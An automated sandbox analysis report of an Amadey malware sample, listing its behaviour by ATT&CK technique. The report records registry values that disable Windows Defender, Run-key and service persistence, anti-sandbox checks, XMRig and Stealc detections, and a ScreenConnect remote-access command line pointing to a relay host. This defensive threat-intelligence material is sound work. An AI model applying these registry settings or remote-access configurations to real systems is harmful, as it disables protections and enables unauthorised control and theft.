amadey | 5c8a333934faf641ad398ad34b28fd352079c4ac4b590184e4d25fcd19858460

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	2e06673134.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	2e06673134.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	2e06673134.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	2e06673134.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	2e06673134.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	2e06673134.exe

Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc
Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 9 IoCs

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	21bdfa3967.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	2e06673134.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	5c8a333934faf641ad398ad34b28fd352079c4ac4b590184e4d25fcd19858460.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	H9TU4oY.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	21d95f9538.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	93f4ee93fd.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe

XMRig Miner payload 13 IoCs

miner

resource	yara_rule
behavioral2/memory/5904-689-0x0000000140000000-0x0000000140770000-memory.dmp	xmrig
behavioral2/memory/5904-690-0x0000000140000000-0x0000000140770000-memory.dmp	xmrig
behavioral2/memory/5904-694-0x0000000140000000-0x0000000140770000-memory.dmp	xmrig
behavioral2/memory/5904-695-0x0000000140000000-0x0000000140770000-memory.dmp	xmrig
behavioral2/memory/5904-696-0x0000000140000000-0x0000000140770000-memory.dmp	xmrig
behavioral2/memory/5904-697-0x0000000140000000-0x0000000140770000-memory.dmp	xmrig
behavioral2/memory/5904-698-0x0000000140000000-0x0000000140770000-memory.dmp	xmrig
behavioral2/memory/5904-703-0x0000000140000000-0x0000000140770000-memory.dmp	xmrig
behavioral2/memory/5904-701-0x0000000140000000-0x0000000140770000-memory.dmp	xmrig
behavioral2/memory/5904-704-0x0000000140000000-0x0000000140770000-memory.dmp	xmrig
behavioral2/memory/4360-3382-0x0000000140000000-0x0000000140770000-memory.dmp	xmrig
behavioral2/memory/4360-3384-0x0000000140000000-0x0000000140770000-memory.dmp	xmrig
behavioral2/memory/4360-3386-0x0000000140000000-0x0000000140770000-memory.dmp	xmrig

Downloads MZ/PE file

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (eecac53463291819)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (eecac53463291819)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=instance-cxesop-relay.screenconnect.com&p=443&s=84bf50aa-e2b7-457a-a44f-958fd1c82e24&k=BgIAAACkAABSU0ExAAgAAAEAAQDx1DHr4t4dt8ezw9lB%2fAZu61lzOgi0vaiVYGdRvGLHe%2fMcvb5Lpv%2fMiRt%2bnJ3tq%2frtseQSQWvbbVdRjxfce31nmMEp%2f1PAVmTl3fwEYA1nCr0dd%2fV%2bMSoMjceavUp0WVj7eRWHA6bNGzYSn5o73ZcILBdRw%2f3jSJ6CgAPJBVMmuv7rFKKZ%2b5N8sdLjxWROqyQbD%2b%2fVYbOCjPSB41oQm%2feZa3S3dqb54HfFBeo03T9ZLnc4oQ65Mabx8v%2bIKhwdH15qLzbe2qCb8palNLn0UxIAV2tlJJHkIQXrYLlVVfpFPJXj118ZgMG7GUqfzoT1k56csyoWsFLZClXlsSLEHGC8&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAACGIj4GQyAUiyQ9WRIYJbmwAAAAACAAAAAAAQZgAAAAEAACAAAADaCsMTRk2cxVWxPbWX9PyHY9yQ%2fMKkX%2b6PpljVAZ5DpgAAAAAOgAAAAAIAACAAAAD431dM2CrAJlg2arm3IdGnO9nxt3r6ZjSqXpq%2fUTQo46AEAACVu9L%2fXXz04QM73B1wSCo%2bBoQy8kvRyTMNwXXYpgDlCrl6e3bAWDInCQH8iSbrZgk0cD5ZbtiBPuGCE6S4r%2bKFAvNlc85tapW1wiRJIJL4hjj8WBAwZC9sQ0Z9pKrb9zta8VaadDe3m7GycCfPGuN24sFIo3b8aIUSP4Ts1QuGeV6BoMg14oy5lsOTLDfyECKqwex7GwXIQbg1OqbxdU%2b6uzOYzUr1LS0hhtnYtn2kb2ndNSjkwOrqfKBJqS7Vn5kYNj4l2goema%2fguhzCunq%2bTMJrp8DDXhVlqY1MlqZFVNj9Po%2fNo30zZjREBOe4vg1Wwbt2EqCzrhbu4JRmj0yhbsKVM%2b3uDSS%2bmA15tjfyNDJKlZzjo5bnw5inimlJL8VHkboR9uX4AuiPbqD8834OyqCrdjfc63gVpjYPnu1dVbtsUt6987UIJ2ZF24FqRZxeEb9kdV7cb0KaJxtO45QRm1dxnyVfalzos7AN8Ma0yN4hWV0yU%2blhUODzIWFHbMtqw%2bjfOj3yd4VAReZwA9qoWYxpHm0mRcCQ6latbvYC5L5MyzKzO18%2fDwNSfUwfnPWbyS%2bvZe1rvr3FVoO26aDU7VrAlYINrTWj6BsA3RsZz6quaJzofIymyoeQbMEKYPlDBVaAh62kVgaoKdUvpJ%2bogR2rzrjFlU0G%2f1WdcPeSf8TKc6yuZV59MsRfyCZfI75V%2fXlgOWmiBA6wY950v32TB3GrwEeHY26Ew4p2f7b1S7YALyoUgr3v4FWLia1ARB%2bLw0Jg77zwJvMEmXrpEEs%2biMEsSSvkHNhSMHwL8lhRi0szzPJFv36o80qkop8MLlx4HZn5Bczr6GVgouJuqO%2b%2bQmlpYLJHxgr%2fhdGg0fCwkdaCBnxNZvLRGeDa3aftA2brJ16VFPG4rwkuJ3WhCdBHEoH5szv4HpiWstq5hi2Cn8aAcbCbNbjw%2faxSoKeUb7p49ToeVFCsFbDr%2bEVfWfA7RIpYFXTKQqb5CrUHJgm4yZmC%2bAuChy8dc6XYny9NO9KqBO%2foNx2S87eua3j2RgTbPkIJVxjdqMdRmekDWrPJ7aN%2fPv%2fw33EKmM7psAwq35d43ovv7NqBC3SnLW6KrlwzrR9AfGzK2%2f0pXeSw5cwyYcAHUpk6%2fUl7iaJIA6hHxT0Zts%2b8vpK%2bzXeIODFx53%2fUkzSmrc4BD46ZvPPggnloMMNvEda79UKPuyZpOYrsohgwNBTh%2f0KejDlxZOYuwrrBn5m9P1VKab68Zy%2bGNbZtNhUiJa9M7kCo%2bm7zqH%2bQ4C%2b7I%2bhSrFmwo0vTeve40fauCPtm%2b9WF56KQtvosfYTWXObj7gUq451WAU4lMymatrxLD6nVGf35k7b6acy9O7ba8%2bs6grtUlRDw9ucL%2fZi%2bHnzA1yD8JlBhnU6YN2uiEmsCUJM5oRYP0gT%2bdeqhtAyOe%2fuRFnf2oOBfxn47hrHs5zFIcLXPsaGxT52bulfyT4X8K1D%2fdKkKmEt2wfvFRdWP2iYwgI%2bCWN51j76m%2f%2behSqhOYRQQcUPjTQbjzKsPIAS3LeElRsGHjrRtQaDisvjJ3IJdD3XHf%2fLgSeof6wZHmEAAAABC5WTEXMzdTrk1yfT44kqRju6U1CiPPIYhgX5YmaV%2foh0PT7%2fBjjrABfyEdByfvBHrwHPhrEDEV3pfJso3JCff\""	ScreenConnect.ClientService.exe

Checks BIOS information in registry 2 TTPs 18 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	5c8a333934faf641ad398ad34b28fd352079c4ac4b590184e4d25fcd19858460.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	H9TU4oY.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2e06673134.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	21bdfa3967.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	5c8a333934faf641ad398ad34b28fd352079c4ac4b590184e4d25fcd19858460.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	21bdfa3967.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	93f4ee93fd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	H9TU4oY.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	21d95f9538.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	21d95f9538.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2e06673134.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	93f4ee93fd.exe

Checks computer location settings 2 TTPs 5 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	94CwbGg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	f322e22e80.exe
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	5c2d2b4639.exe
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	5c8a333934faf641ad398ad34b28fd352079c4ac4b590184e4d25fcd19858460.exe
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	skotes.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 28 IoCs

pid	Process
1528	skotes.exe
2712	94CwbGg.exe
1504	H9TU4oY.exe
1848	f322e22e80.exe
4532	7z.exe
1212	7z.exe
2292	7z.exe
1888	ScreenConnect.ClientService.exe
3012	7z.exe
1576	7z.exe
4260	7z.exe
3008	7z.exe
3516	7z.exe
3944	in.exe
4976	ScreenConnect.WindowsClient.exe
388	21d95f9538.exe
4476	ScreenConnect.WindowsClient.exe
1220	21bdfa3967.exe
3388	81432b77dd.exe
4936	skotes.exe
5296	2e06673134.exe
5880	Intel_PTT_EK_Recertification.exe
5376	342d9e45e1.exe
5324	342d9e45e1.exe
460	5c2d2b4639.exe
5680	93f4ee93fd.exe
5796	skotes.exe
4396	Intel_PTT_EK_Recertification.exe

Identifies Wine through registry keys 2 TTPs 9 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Wine	2e06673134.exe
Key opened	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Wine	H9TU4oY.exe
Key opened	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Wine	21d95f9538.exe
Key opened	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Wine	21bdfa3967.exe
Key opened	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Wine	93f4ee93fd.exe
Key opened	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Wine	5c8a333934faf641ad398ad34b28fd352079c4ac4b590184e4d25fcd19858460.exe

Loads dropped DLL 30 IoCs

pid	Process
3608	MsiExec.exe
3912	rundll32.exe
3912	rundll32.exe
3912	rundll32.exe
3912	rundll32.exe
3912	rundll32.exe
3912	rundll32.exe
3912	rundll32.exe
3912	rundll32.exe
3912	rundll32.exe
3980	MsiExec.exe
4532	7z.exe
1212	7z.exe
2292	7z.exe
1416	MsiExec.exe
1888	ScreenConnect.ClientService.exe
1888	ScreenConnect.ClientService.exe
1888	ScreenConnect.ClientService.exe
1888	ScreenConnect.ClientService.exe
1888	ScreenConnect.ClientService.exe
1888	ScreenConnect.ClientService.exe
3012	7z.exe
1576	7z.exe
4260	7z.exe
3008	7z.exe
3516	7z.exe
1888	ScreenConnect.ClientService.exe
1888	ScreenConnect.ClientService.exe
1888	ScreenConnect.ClientService.exe
1888	ScreenConnect.ClientService.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	2e06673134.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	2e06673134.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\21d95f9538.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1015433001\\21d95f9538.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\21bdfa3967.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1015434001\\21bdfa3967.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\81432b77dd.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1015435001\\81432b77dd.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\2e06673134.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1015436001\\2e06673134.exe"	skotes.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

persistence privilege_escalation

description	ioc	Process
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x000a000000023ce3-326.dat	autoit_exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800650065006300610063003500330034003600330032003900310038003100390029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (eecac53463291819)\vxkp1lu0.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (eecac53463291819)\vxkp1lu0.newcfg	ScreenConnect.ClientService.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 9 IoCs

pid	Process
5096	5c8a333934faf641ad398ad34b28fd352079c4ac4b590184e4d25fcd19858460.exe
1528	skotes.exe
1504	H9TU4oY.exe
388	21d95f9538.exe
1220	21bdfa3967.exe
4936	skotes.exe
5296	2e06673134.exe
5680	93f4ee93fd.exe
5796	skotes.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 5880 set thread context of 5904	5880	Intel_PTT_EK_Recertification.exe	172
PID 5376 set thread context of 5324	5376	342d9e45e1.exe	181
PID 4396 set thread context of 4360	4396	Intel_PTT_EK_Recertification.exe	195

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0009000000023cd5-244.dat	upx
behavioral2/memory/3944-246-0x00007FF64A7E0000-0x00007FF64AC70000-memory.dmp	upx
behavioral2/memory/3944-248-0x00007FF64A7E0000-0x00007FF64AC70000-memory.dmp	upx
behavioral2/memory/5880-687-0x00007FF776AA0000-0x00007FF776F30000-memory.dmp	upx
behavioral2/memory/5880-700-0x00007FF776AA0000-0x00007FF776F30000-memory.dmp	upx
behavioral2/memory/4396-3385-0x00007FF776AA0000-0x00007FF776F30000-memory.dmp	upx

Drops file in Program Files directory 16 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\Client.resources	msiexec.exe

Drops file in Windows directory 14 IoCs

description	ioc	Process
File created	C:\Windows\Installer\{12824592-3920-8E5F-2AA2-5C8A8FB17FE5}\DefaultIcon	msiexec.exe
File created	C:\Windows\Tasks\skotes.job	5c8a333934faf641ad398ad34b28fd352079c4ac4b590184e4d25fcd19858460.exe
File created	C:\Windows\Installer\e5826ad.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI27D6.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI2C2E.tmp	msiexec.exe
File created	C:\Windows\Installer\e5826af.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\wix{12824592-3920-8E5F-2AA2-5C8A8FB17FE5}.SchedServiceConfig.rmi	MsiExec.exe
File opened for modification	C:\Windows\Installer\{12824592-3920-8E5F-2AA2-5C8A8FB17FE5}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\SourceHash{12824592-3920-8E5F-2AA2-5C8A8FB17FE5}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI27F6.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\e5826ad.msi	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
6004	460	WerFault.exe	183

System Location Discovery: System Language Discovery 1 TTPs 28 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2e06673134.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5c2d2b4639.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	H9TU4oY.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	81432b77dd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	81432b77dd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f322e22e80.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	21bdfa3967.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	342d9e45e1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5c8a333934faf641ad398ad34b28fd352079c4ac4b590184e4d25fcd19858460.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	342d9e45e1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	94CwbGg.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	81432b77dd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	93f4ee93fd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	21d95f9538.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 6 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
6004	powershell.exe
5940	PING.EXE
460	powershell.exe
2240	PING.EXE
5964	powershell.exe
5700	PING.EXE

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
